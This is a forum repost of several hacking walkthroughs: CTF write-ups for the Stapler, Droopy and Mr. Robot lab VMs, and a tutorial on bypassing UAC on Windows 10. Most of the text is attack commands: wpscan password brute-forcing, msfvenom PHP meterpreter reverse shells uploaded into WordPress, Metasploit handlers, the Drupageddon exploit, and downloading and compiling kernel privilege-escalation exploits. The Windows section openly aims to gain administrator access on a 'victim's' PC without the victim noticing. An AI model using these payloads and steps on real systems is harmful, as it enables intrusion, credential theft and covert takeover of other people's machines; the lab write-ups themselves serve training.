04-24-2020, 03:02 PM
| 0 | 0 | ||
Download the stapler VM from
[To see content please register here]
Penetrating Methodology:
- Network Scanning (Nmap, netdiscover)
- Enumeration (robot.txt)
- WordPress scanning & password cracking (wpscan)
- Login into WordPress
- Generate PHP Backdoor (Msfvenom)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Import python one-liner for proper TTY shell
- Kernel privilege escalation
- Get Root access and capture the flag.
netdiscover
1
netdiscover
We found our target –> 192.168.1.126
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-dehREJwYRFQ/Wu6LHvgWbeI/AAAAAAAAWtE/hdVSlMcigHA1kEUGiDY7z-z9uM1404FgQCLcBGAs/s1600/1.png?w=687&ssl=1)
To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.126
1
nmap -p- -A 192.168.1.126
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-99gARP7hmrk/Wu6LIcmJh4I/AAAAAAAAWtQ/BlpBViFMB_gDAx-mYNWuR9k7LN3Z388rQCLcBGAs/s1600/2.png?w=687&ssl=1)
The result will show us that port number 21, 22, 53, 80, 137, 139, and so many other ports are open.
![[Image: 3.1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-qWxOjAz2pDU/Wu6LKAt5n5I/AAAAAAAAWtw/o-HaSbtR2nAWDe0leNN7m1Wx_uAP9E0kgCLcBGAs/s1600/3.1.png?w=687&ssl=1)
Also tell us about robot.txt 2 disallowed entries i.e. /admin112233 and /blogblog. Then we explored target IP over port 80 but didn’t found anything here.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-SoYXgTlCHS8/Wu6LKeRn1tI/AAAAAAAAWt0/Jv4NX8CAoIwUSo1rOw14HRAGAZYYqaYqACLcBGAs/s1600/3.png?w=687&ssl=1)
So we tried opening it in the browser with port 12380
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5nVzzF9QvHg/Wu6LKj8GAvI/AAAAAAAAWt4/fGkqE975uMImId1i6fKf-nPQz3D-dFfWACLcBGAs/s1600/4.png?w=687&ssl=1)
We open /blogblog/ but here also didn’t find any clue for the next step.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-hh-Wqqr_6e0/Wu6LK8y4c3I/AAAAAAAAWt8/pAid0IwLAeIM2TiY4JujHUAeewNCCBKKQCLcBGAs/s1600/5.png?w=687&ssl=1)
Then we thought to explore
[To see content please register here]
which put up a new web page as shown below. Studying this blog we have established that the blog is made of Word Press. Now obviously use WPScan to know all about the blog.![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-WsqmFFic6xc/Wu6LKyNPGVI/AAAAAAAAWuA/qRWo4sKObcM1IoM-4aLiZrKPbtLsq-m9gCLcBGAs/s1600/6.png?w=687&ssl=1)
To apply wpscan we have come up with a 3-in-1 command as it will tell us all about the theme and plug-ins as well as usernames and the command is:
wpscan -u
[To see content please register here]
--enumerate at --enumerate ap --enumerate u --disable-tls-checks1
wpscan -u
[To see content please register here]
--enumerate at --enumerate ap --enumerate u --disable-tls-checks![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-P20lmEmzTzA/Wu6LLHVJtgI/AAAAAAAAWuE/6MiTPTBZ3KYkloTKyenSpq_CwTavgf8WwCLcBGAs/s1600/7.png?w=687&ssl=1)
It has dumped all username for login, now we only need a password for login into WordPress.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-_rQUtIdfrP0/Wu6LLSQTRvI/AAAAAAAAWuI/NMi0xujFad0oboABqLEvLrmL-qsm54IsQCLcBGAs/s1600/8.png?w=687&ssl=1)
By executing below command you will get a password for John.
wpscan -u
[To see content please register here]
--username John --wordlist /usr/share/wordlists/rockyou.txt1
wpscan -u
[To see content please register here]
--username John --wordlist /usr/share/wordlists/rockyou.txtAs you can see the password is “incorrect” for user “john”; now use these credential for login into WordPress.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-jNwc8Xh9UEg/Wu6LLTlA63I/AAAAAAAAWuM/dXft0OZJU1IJpN4gydSESqWXXH49DqqWACLcBGAs/s1600/9.png?w=687&ssl=1)
As we logged in, all now we have to do is to create our PHP code to upload so that once the code will execute we will have its session. To generate the code type:
msfvenom -p php/meterpreter/reverse_tcp lhost-192.168.1.132 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost-192.168.1.132 lport=4444 -f raw
On the other hand run multi/handler inside Metasploit framework.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-2TqcDAQXLws/Wu6LH_ExyGI/AAAAAAAAWtI/GLUDERmQH80PWHvczLInv-VwmZqyw5gogCLcBGAs/s1600/18.png?w=687&ssl=1)
Copy the code from <?php to die() and save it in a file with .php extension.
Now, as we already logged on, go to plugins option then select add plugin option. Click on browse option and select the PHP in which you have just saved the code and click on OK.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-wrGfi7VqvqM/Wu6LH7Hl1KI/AAAAAAAAWtM/bWQWff_Osxst9s70Ppr3tWplAo5kyx-pQCLcBGAs/s1600/19.png?w=687&ssl=1)
Now go to the upload directory and double click on the shell.php which you just uploaded.
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-QdVkHpYfvGY/Wu6LIuurY1I/AAAAAAAAWtU/ikS5PGnWYP8VWAak8xkdodH1m5Z8QgfugCLcBGAs/s1600/20.png?w=687&ssl=1)
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation. Further type:
sysinfo
Then to access proper TTY shell we had import python one line script by typing following:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
1
2
3
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-D0s2PqggFls/Wu6LI6gAeJI/AAAAAAAAWtY/LVHq4w-D4eUvsdyvDxwTtPumHRvytFk_ACLcBGAs/s1600/21.png?w=687&ssl=1)
We now know that our target is using Ubuntu 16.04 so we will try and search its exploit on exploit-db.com. Our search is successful and we have found our appropriate exploit as shown below:
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-4ZSUHklfL08/Wu6LJOd3rlI/AAAAAAAAWtc/_dpJumQ8kRoeBUg01XLEAQmQ6U4rpFoBACLcBGAs/s1600/22.png?w=687&ssl=1)
Now, we need to go into the desired writable file and for that type:
cd /tmp
1
cd /tmp
And then to download the exploit type:
wget
[To see content please register here]
1
wget
[To see content please register here]
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-K2zInupIcc8/Wu6LJQBrzcI/AAAAAAAAWtg/c1fkF6XT9OU8eZWQG11MhG0QIh8wI1YPgCLcBGAs/s1600/23.png?w=687&ssl=1)
When we download the exploit, zip files are downloaded and now unzip it and for that type:
unzip 39772.zip
1
unzip 39772.zip
Open the unzipped file by typing:
ls
cd 39772
1
2
ls
cd 39772
Now we have a tar file named exploit.tar. Open it with the following command:
tar -xvf exploit.tar
1
tar -xvf exploit.tar
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-aUJw4WoyobI/Wu6LJuIa8zI/AAAAAAAAWtk/AYA0hVoaXSIOL3BPmV-1DAX1vOQ5IMbJgCLcBGAs/s1600/24.png?w=687&ssl=1)
Now use the ls command to view the directories. Now we will go into the double put-exploit folder and for that type:
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh (will run the compile.sh)
./doubleput (will run the double.sh)
1
2
3
4
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh (will run the compile.sh)
./doubleput (will run the double.sh)
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-61ccyS73qgQ/Wu6LJyjcm1I/AAAAAAAAWto/s-59R8zmsdQ_hJYpKz0I6vCNZScO4J90QCLcBGAs/s1600/25.png?w=687&ssl=1)
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
Note: This lab can be solved in multiple ways because there is more than one method to hack this lab.
![[Image: 26.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-DOqzOAYixL0/Wu6LKPUCEXI/AAAAAAAAWts/VTP-gyx4_HYuF3E5CARJt3uV4-cOEZHhgCLcBGAs/s1600/26.png?w=687&ssl=1)
Welcome to another boot2root CTF Challenge “Droopy:” uploaded by knightmare on vulnhub. As, there is a theme, and you will need to snag the flag in order to complete the challenge and you can download it from
[To see content please register here]
Penetrating Methodologies:
- Network Scanning (Netdiscover, Nmap)
- Identifies Drupal CMS
- Exploiting Drupal CMs (Metasploit)
- Privilege Escalation with Kernel Exploit
- Uploading and Downloading dave.tc from /www/html
- Generate a Dictionary with the help of rockyou.txt
- Brute Force attack on Truecrypt Volume (Truecrack)
- Decrypting File (Veracrypt)
- Capture the Flag
Let us start by scanning the network so that we can know the IP of our target. And to scan the network types the following:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-kkZgepVQR2g/W75FXGtV4bI/AAAAAAAAan4/bKcUr6Habp4Us2MuAbHkijmrLgBY0X09wCLcBGAs/s1600/1.png?w=687&ssl=1)
So by using the above command, we know our target IP is 192.168.1.102. Now that we know our target IP, let’s study it more by using nmap :
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-EBh422G0Lno/W75FYq3ZJNI/AAAAAAAAaoI/f5XttZ31APYmQyTllW5vOaN64sHyH002gCEwYBhgL/s1600/2.png?w=687&ssl=1)
By using nmap we find that port no. 80 is the only one that is opened. So, therefore, lets fire up the IP in the browser.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-n_19Fcvl0sQ/W75FZfFmR9I/AAAAAAAAaoc/zH5FRqR4qCQcVRSh8jt6ZQc2Vsg58cjaQCEwYBhgL/s1600/3.png?w=687&ssl=1)
By studying the webpage we get to know that the website has been made in Drupal CMS. And we all know that there is a very effective exploit for it in Metasploit and to use that type :
use exploit/multi/http/drupal_drupageddon
set rhost 192.168.1.102
exploit
1
2
3
use exploit/multi/http/drupal_drupageddon
set rhost 192.168.1.102
exploit
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-WZqmVzw28uQ/W75FZd2zsqI/AAAAAAAAaoY/O7zNM8WKLb8VEoEN6nspf8I-6EFcZFB0wCEwYBhgL/s1600/4.png?w=687&ssl=1)
By executing the sysinfo command, we have enumerated the version of kernel ” 3.13.0″ installed in the victim’s machine. then we look its exploit for privilege escalation with help of the following command.
searchsploit 3.13.0
1
searchsploit 3.13.0
Luckily we found an exploit “overlayfs local Privilege” at path /usr/share/exploitdb/exploits/Linux/local/37292.c and even you can copy this file on the desktop.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-DjhDz-6BYJc/W75FZt_mLTI/AAAAAAAAaog/1nzxM6ECwJU7taPvwZGz8EX23103vHuRwCEwYBhgL/s1600/5.png?w=687&ssl=1)
Go to the /tmp folder by typing cd /tmp and upload the exploit there by typing :
upload /root/Desktop/37292.c
1
upload /root/Desktop/37292.c
Once the exploit is uploaded, go to the shell by simply giving shell command. And then type :
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
And then type the following command to compile the exploit :
gcc 37292.c -o shell
1
gcc 37292.c -o shell
once the exploit is compiled give the permissions to shell :
chmod 777 shell
1
chmod 777 shell
And then run the ./shell command for your exploit to work. This is the exploit for privilege escalation so when this exploit runs, you will have your privilege to the VM.
After this check, you id by simply typing id. It shows that you are the root. So let’s jump to the folder root by typing cd /root and then type ls to check the file inside the root folder. And here we have one file in the root. Let’s copy it to var/www/html so we can open the file in the browser :
cp dave.tc /var/www/html
1
cp dave.tc /var/www/html
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-3fX8lvOc3U8/W75FaIuxcnI/AAAAAAAAaok/OAlFb1wJzgkYc5NxE4SyfUJvlVPtpMMrACEwYBhgL/s1600/6.png?w=687&ssl=1)
Now, let’s open the file in the browser by typing :
192.168.1.102/dave.tc
1
192.168.1.102/dave.tc
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-H8Y8JIgWiRg/W75FaJM2j7I/AAAAAAAAaoo/zV98sBxjuZM3VGTN6qkUAfogdNP5V4apgCEwYBhgL/s1600/8.png?w=687&ssl=1)
And then we will go into the /var by typing cd /var and then type ls to view its content. Now, let’s go into the mail by typing cd mail and then ls to view its content. And the type cat www-data to read whatever’s inside it.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kWZqEiYCke0/W75FXN849zI/AAAAAAAAaow/Pv0TPdbKQb4VYse7dyfHNfsXHDQgPDS8ACEwYBhgL/s1600/11.png?w=687&ssl=1)
In www-data we find a mail. This mail gives us two hints about the password that we need i.e. we will find our password in the rockyou wordlist and password contain prefix or suffix “academy”. So we will take all the words from rockyou wordlist that has an academy in it and make a different wordlist with all the possible passwords. And for this type :
cat rockyou.txt | grep academy > /root/Desktop/dict.txt
1
cat rockyou.txt | grep academy > /root/Desktop/dict.txt
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-BLSNb5qC6AU/W75FXPjkdaI/AAAAAAAAao8/YBbFIJstBbYy66GwVc9J1Q5GTIWxSl97gCEwYBhgL/s1600/15.png?w=687&ssl=1)
Now from the wordlist, that we just created, we will apply a dictionary attack to have our password. And so for this type :
truecrack --truecrypt /root/Downloads/dave.tc -k SHA512 -w /root/Desktop/dict.txt
1
truecrack --truecrypt /root/Downloads/dave.tc -k SHA512 -w /root/Desktop/dict.txt
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-_uJAhKSrvQg/W75FXsY1V2I/AAAAAAAAao4/XSkM-XTyNkIpt7O1CG0vzGulPWvWxjt0ACEwYBhgL/s1600/16.png?w=687&ssl=1)
Now using veracrypt we can decrypt the file.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-4Es4H4PQnT8/W75FX0TYKtI/AAAAAAAAao4/GZV3zfy8LG8scslczz-ltr9xOpqA7Db3wCEwYBhgL/s1600/18.png?w=687&ssl=1)
To decrypt the file enter the password that we just found.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-0mC1nXadgdQ/W75FYafp_mI/AAAAAAAAapA/EyFEVUsQzc0Eo9V6zbxmvNLrz3FEUhI4QCEwYBhgL/s1600/19.png?w=687&ssl=1)
Once it opens you can see all of its content.
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-e8OlOTPZ60Q/W75FYuGUCmI/AAAAAAAAaow/xITO4fKTwKEDRFxQSjzrZOGzoyOh01b1ACEwYBhgL/s1600/20.png?w=687&ssl=1)
Following are the folders you will find in it.
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-aU23mGdXrjU/W75FYkAv4iI/AAAAAAAAao0/lyVtDXHZy74zMOkRNdHNtStsNoTeu1QbwCEwYBhgL/s1600/21.png?w=687&ssl=1)
Open its path in the terminal of kali and type ls -la to view the files. Open secret by typing cd .secret and the type ls -la to see its content. And then open .top by typing cd .top and then type ls -la to see all the files in it. There you will find flag.txt, type cat flag.txt to view the flag.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-eHTLDML3Zh4/W75FZEam-UI/AAAAAAAAao0/Ee-pe8FPa9o5bpZt4U6RpwMHG1AoOR46ACEwYBhgL/s1600/22.png?w=687&ssl=1)
And yippee!!! We found our flag. ?
Microsoft is increasing its security with the evolution of their windows. And with that it is getting more and more difficult to hack them. It is often said “where there is will; there is a way”, threfore thankfully it is not impossible to do so. Once you have hacked into WIndows 10 PC then it is difficult to gain it administrator access without getting your victim suspicious. Therefore, we present you a new way to do so.
Move along with following steps and you will learn how to gain administrator access of windows 10 PC without the Victim’s suspicion.
First of all, to learn to how to hack victim’s PC click
[To see content please register here]
.After hacking when you have gained a meterpreter session then type :
getsystem
using this command you will confirm the fact that you have not entered the administrator yet. So now, there is no need to worry. Just download this Tpinit file from –>
[To see content please register here]
And now upload the said file into victim’s PC by typing :
upload /root/Desktop/TpmIniyUACBypass.exe d:\\
Here,
upload –> is use to upload a file
/root/Desktop/TpmIniyUACBypass.exe –> is the path of the file that is to be uploaded
d:\\ –> is location of where the file will be uploaded in victim’s PC
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/--7AoAedkpBk/V8VkxhuEJkI/AAAAAAAANWw/2mMZGLnP9SInFMMMu7h7SEBHVGIoqwHNACLcB/s1600/1.png?w=687&ssl=1)
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 102.168.0.106
set lport 443
exploit
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ckAyyfHIN9Q/V8VkxaVsbdI/AAAAAAAANWs/FZYTBSkVo84E6polVF4PJSfhessnxtx5ACLcB/s1600/2.png?w=687&ssl=1)
Once this exploit is executed. go to the meterpreter session that you previously had and type :
shell
Typing shell will take you to the shell of the PC. Now further type :
d: (This command will take into the D Drive of victim’s PC i.e where you upload your file)
TpmInitUACBypass.exe 192.168.0.106 msf (This command will execute your uploaded file)
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-CuAdIUknwWc/V8VkzQkdp-I/AAAAAAAANW0/QPhPFTMypVILJUwPXsFj2IA3CULujeTXwCLcB/s1600/3.png?w=687&ssl=1)
As the command will make our file execute we will have a session with administrator privileges as shown
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-EXOBIrFenAY/V8Vk2GBz7RI/AAAAAAAANW4/XPTKQceiaeob600h9BacHC0YcaA4phojQCLcB/s1600/4.png?w=687&ssl=1)
This way it is quite easy to bypass administrator access in windows 10. Thus, nothing is impossible in hacking.
This is our another article of root2boot penetration testing challenge. We will walk through an exploitable framework Mr. Robot. It is based on the TV show, Mr. Robot, it has three keys hidden in different locations. The main goal is to find all three tokens hidden in the system. Each key is progressively difficult to find. Breaking into it isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
First Download the Mr. Robot Lab from
[To see content please register here]
Penetrating Methodology:
- Network Scanning (Nmap, netdiscover)
- Recon (Nikto)
- Use robot.txt
- Grab 1st key
- Download fsocity.dic file and use a dictionary
- WordPress password cracking (wpscan)
- Login into WordPress
- Generate PHP Backdoor (Msfvenom)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Get MD5 hash and decrypt it
- Import python one-liner for proper TTY shell
- Find / perm u=s for Privilege Escalation
- Get Root access and capture the flag.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-YqeYk7xebAM/Wu3FCB3vEvI/AAAAAAAAWrg/Rx7wBsSMUoYPhViAB2LHWxUclZdUqRhywCLcBGAs/s1600/1.png?w=687&ssl=1)
Upon the execution of the above command, we will know about all the IP addresses in our network. Our target IP is 192.168.1.103, let us scan it.
To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-pBBZD0ioNhw/Wu3FEMeSdVI/AAAAAAAAWsE/0JKxSQUB7CA_VoW_qAmgUTHgAKUsdVdFACLcBGAs/s1600/2.png?w=687&ssl=1)
The scan’s result shows us the open ports are: 22, 80, and 443. As the 80 port is open we can try and open this IP in our browser.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-XizpEqhZ-lw/Wu3FEyUv3hI/AAAAAAAAWsI/o9cJyX9tjAcx-qGu-iUMoXeKtqF4G8KAwCLcBGAs/s1600/3.png?w=687&ssl=1)
And yes, it opens which further confirms our target.
Next, we will apply the Nikto command to it. Nitko command will help us to gather information like its files and all the other major stuff that we ought to know about our target. So, therefore, type:
nitko -h 192.168.1.103
1
nitko -h 192.168.1.103
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-F0mVlktnGZQ/Wu3FFLPRntI/AAAAAAAAWsM/6up-1OxQuKw6XWPzyvC_R2y-u9QJNTNIwCLcBGAs/s1600/4.png?w=687&ssl=1)
From the result, we can gather that there a text file with the name of robots.txt which might provide us with some further information. Moreover, it also tells us that the WordPress installation was found.
So now let us try to open robots.txt in the browser. Yesssssssss!! It gave something to us let open each file one-by-one.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-DrqgOl3Jmew/Wu3FFVAJGsI/AAAAAAAAWsU/M-EoS9LrDtYjcc5P-LWLkp_z9FZ6J4MoACLcBGAs/s1600/5.png?w=687&ssl=1)
Excellent!!! Inside key-1-of-3.txt we found our 1st key.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-_6pH20IkkpQ/Wu3FFUWTnkI/AAAAAAAAWsQ/Z4srSjOrgUECNIt3uXGBbwvrz7u9se5fACLcBGAs/s1600/6.png?w=687&ssl=1)
Now open fsocity.dic file in the browser which is a dictionary file. Let us first try and open this dictionary file the browser. Once we open the said dictionary file in the browser, it asks us to download it. Going ahead we downloaded and opened it. It is a file which may contain username or passwords.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-tCnpjVKhHjY/Wu3FFu-ez_I/AAAAAAAAWsY/m5pOtQxGcR4bydF1lj8jkuZY6H8tAXiUgCLcBGAs/s1600/7.png?w=687&ssl=1)
So now we know that we might have username or passwords, we will try and login into our target. One by one we have tried every username and it has given the error that the username doesn’t exist. But when we used the name elliot it gave us the error that the password is empty.
With this, we know one thing for sure that elliot is a correct username and now we just have to find a password for it.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-bc1Oa2pSgWg/Wu3FGIGXqeI/AAAAAAAAWsc/hLwSi2n0U3Awi3al7gQzQg7YICOj4W-VACLcBGAs/s1600/8.png?w=687&ssl=1)
Our best guess to find the password the same dictionary file from which we found the username. Thus, moving forward we will use WPScan to find our password from the same file.
wpscan -u
[To see content please register here]
--username Elliot --wordlist /root/Desktop/fsocity.dic1
wpscan -u
[To see content please register here]
--username Elliot --wordlist /root/Desktop/fsocity.dicWhen the execution is completed (which may time much time as in our case it took almost 4 hours) you will have the password for the username elliot which is
ER28-0652
1
ER28-0652
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Z_dno-FA0iM/Wu3FGEUxHJI/AAAAAAAAWsg/PBQviQNNO8MmGP6wMhVZDOQOTqbG40WogCLcBGAs/s1600/9.png?w=687&ssl=1)
Using the password, login into the WordPress and open 404 templates to add a new theme.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ko5Thzrg1d4/Wu3FCTkKskI/AAAAAAAAWro/FN7FjoGNeh0p1LN8QnRRWhdH67YLOizfACLcBGAs/s1600/10.png?w=687&ssl=1)
Once you have logged in, make the malicious file that you got to upload in it. Generate code through the msfvenom command:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
On the other hand run multi/handler inside Metasploit framework.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-wW8_TeAY9rg/Wu3FCC27sLI/AAAAAAAAWrk/u_ONdCQXk_8RwzhdxOp2A7NP87ppzMNSwCLcBGAs/s1600/11.png?w=687&ssl=1)
Copy the code from <?php to die(); and paste it on template(and save it)
Now you have access to a WordPress admin console is to replace one of the theme templates with some PHP of your own. I decided to try for a reverse shell by editing the 404.php theme and replacing the contents with the msfvenom generated shell.
Once the php code is saved, then, open the path of the template in the browser as shown: Browsing to
[To see content please register here]
1
[To see content please register here]
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-YzAHnkYeVVM/Wu3FCqHHSdI/AAAAAAAAWrs/5XBJiTeU5107798j7uZFJB-4vcOsI0s4ACLcBGAs/s1600/12.png?w=687&ssl=1)
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
cd home
ls
1
2
cd home
ls
Now, to know the information about the robot folder/file we will type:
We now know that there are two important files, one of them is a text file other is a password in the form of MD5. If we try to open the text file by typing:
cat key-2-of-3.txt
1
cat key-2-of-3.txt
It will not open as we do not have the permission to do so. But now let us try and open the MD5 file and for that type:
cat password.raw-md5
1
cat password.raw-md5
Executing the above command will give an MD5 value (hash value) of the password as you can see below:
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-znDfPX22ZdY/Wu3FC5WgWHI/AAAAAAAAWrw/kHNaXsXp6rcJnGiJftyiBPSs_XaAK88WACLcBGAs/s1600/13.png?w=687&ssl=1)
We will use md5 online decrypting tool for cracking this MD5 value. Enter the MD5 value into the hash box and obtain the result. The value will translate to abcdefghijklmnopqrstuvwxyz as shown below.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-dNgyPPjg35o/Wu3FC-PS4uI/AAAAAAAAWr0/N2Jjpr_myWsSeGPbuplf_EjQUUhSHtbcgCLcBGAs/s1600/14.png?w=687&ssl=1)
Then to access proper TTY shell we had import python one line script by typing following:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
2
shell
python -c 'import pty;pty.spawn("/bin/bash")'
Now in the terminal try to switch the user to the robot by the command:
su robot
1
su robot
Following the command, it will ask you for the password. Enter the MD5 cracked password here and you will enter the robot user and gain its information type:
ls
1
ls
Now, try to open the remaining text file by typing:
cat key-2-of-3.txt
1
cat key-2-of-3.txt
Here I will read the second key file
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-L-md4kdwv-A/Wu3FDalYbPI/AAAAAAAAWr8/qovDJdMaeaw-KrPNNvw_zhGvisGjQvQgACLcBGAs/s1600/15.png?w=687&ssl=1)
Now let’s find out all those files having root privilege by using the following command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
It has shown so many binary files but I was interested in nmap from its output result.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-lfYu_vILZio/Wu3FDUW9YZI/AAAAAAAAWr4/0ijKij3MdxA32O6-tXqphxPwHXHccxBqwCLcBGAs/s1600/16.png?w=687&ssl=1)
Nmap supported an option called “interactive.” With this option, users were able to execute shell commands by using a nmap “shell” (interactive shell).
Next type the following:
nmap --interactive
1
nmap --interactive
With the above commands you will enter nmap then type:
!sh
id
cd /root
ls -lsa
cat key-3-of-3.txt
1
2
3
4
5
!sh
id
cd /root
ls -lsa
cat key-3-of-3.txt
And upon the execution of we will obtain 3 of 3 keys, hence entering Mr. Robot. There are many ways to perform the above but this method is the easiest. We hope you find it effective and interesting and it helps you to improve.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-nVNgQkSreQ8/Wu3FDmsvm7I/AAAAAAAAWsA/c1c4LyyZnWwwo2hXgJJ-6Vp0bJ1a-rNjACLcBGAs/s1600/17.png?w=687&ssl=1)













